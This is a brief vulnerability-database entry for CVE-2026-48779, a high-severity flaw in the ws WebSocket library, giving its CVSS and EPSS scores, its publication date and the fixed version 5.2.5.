CVE-2026-48779 is a high vulnerability (CVSS 7.5) in Websockets Ws, published June 15, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.43%, the 73rd percentile. Fixed in ws 5.2.5.

References

Show 194 moreShow less
This page doesn't list everything

Left out here: 11 references. The JSON record has them.

MoveEnter Open